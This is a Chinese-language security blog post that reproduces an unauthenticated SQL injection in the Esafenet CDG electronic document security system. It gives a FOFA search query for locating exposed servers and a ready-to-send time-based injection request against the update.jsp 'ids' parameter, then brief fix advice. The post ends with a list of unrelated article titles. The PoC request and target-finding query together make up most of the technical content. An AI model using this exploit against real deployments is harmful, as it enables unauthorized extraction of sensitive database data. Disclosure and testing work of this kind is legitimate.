当前位置： 首页 > news >正文

亿赛通电子文档安全管理系统 SQL注入漏洞复现

news 来源：原创 2024/5/20 11:39:18

0x01 产品简介

亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。

0x02 漏洞概述

由于亿赛通电子文档安全管理系统 /update.jsp处的ids参数处对传入的数据没有预编译和充足的校验，导致该接口存在SQL注入漏洞，未授权的攻击者可获取数据库敏感信息。

0x03 复现环境

FOFA：app="亿赛通-电子文档安全管理系统"

0x04 漏洞复现

PoC

GET /CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1%2C3%29%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip

PS：延时注入并非返回正常时间差

 

SQLmap验证

0x05 修复建议 

使用预编译SQL语句

升级至安全版本

相关文章：

  • 分布式块存储 ZBS 的自主研发之旅｜元数据管理
  • 深度学习项目部署：解析 NVIDIA Docker 中的 CUDA 镜像版本：base 版本、 runtime 版本、devel 版本
  • 基于linux系统的Tomcat+Mysql+Jdk环境搭建（二）jdk1.8 linux 上传到MobaXterm 工具的已有session里
  • 基于YOLOv8深度学习的吸烟/抽烟行为检测系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战
  • 我的NPI项目之Android 安全系列 -- EMVCo
  • 从零开始搭建Go语言开发环境
  • 13.Spring 整合 Kafka + 发送系统通知 + 显示系统通知
  • 全球汽车行业的数字化转型：产品和后端的渐进之旅
  • WPF里面的Dispatcher详解
  • 记一次挖矿病毒的溯源
  • 基于ssm日用品网站设计论文
  • 深度剖析JavaScript中冒泡和捕获机制、事件代理
  • 升级Xcode15，iOS17后问题解决
  • FFmpeg的AVcodecParser
  • leetcode：457. 环形数组是否存在循环
  • hexo+github搭建个人博客
  • Create React App 使用
  • CSS居中完全指南——构建CSS居中决策树
  • JavaScript工作原理（五）：深入了解WebSockets，HTTP/2和SSE，以及如何选择
  • js
  • js ES6 求数组的交集，并集，还有差集
  • laravel 用artisan创建自己的模板
  • spring cloud gateway 源码解析（4）跨域问题处理
  • vue从创建到完整的饿了么（11）组件的使用（svg图标及watch的简单使用）
  • 第13期 DApp 榜单 ：来，吃我这波安利
  • 关于使用markdown的方法（引自CSDN教程）
  • 使用 5W1H 写出高可读的 Git Commit Message
  • 我是如何设计 Upload 上传组件的
  • 在Mac OS X上安装 Ruby运行环境
  • 《TCP IP 详解卷1：协议》阅读笔记 - 第六章
  • 阿里云ACE认证学习知识点梳理
  • 宾利慕尚创始人典藏版国内首秀，2025年前实现全系车型电动化 | 2019上海车展 ...
  • 策略 ： 一文教你成为人工智能（AI）领域专家
  • #### go map 底层结构 ####
  • #经典论文 异质山坡的物理模型 2 有效导水率
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • （八）光盘的挂载与解挂、挂载CentOS镜像、rpm安装软件详细学习笔记
  • （第9篇）大数据的的超级应用——数据挖掘-推荐系统
  • （附源码）ssm考试题库管理系统 毕业设计 069043
  • （附源码）ssm码农论坛 毕业设计 231126
  • （附源码）计算机毕业设计SSM教师教学质量评价系统
  • （十五）devops持续集成开发——jenkins流水线构建策略配置及触发器的使用
  • （原创）boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • （转）http协议
  • **Java有哪些悲观锁的实现_乐观锁、悲观锁、Redis分布式锁和Zookeeper分布式锁的实现以及流程原理...
  • 、写入Shellcode到注册表上线
  • .NET 反射 Reflect
  • .net 开发怎么实现前后端分离_前后端分离：分离式开发和一体式发布
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地中转一个自定义的弱事件（可让任意 CLR 事件成为弱事件）
  • .NetCore Flurl.Http 升级到4.0后 https 无法建立SSL连接
  • .net操作Excel出错解决
  • .NET面试题(二)
  • .NET学习教程二——.net基础定义+VS常用设置
  • .sys文件乱码_python vscode输出乱码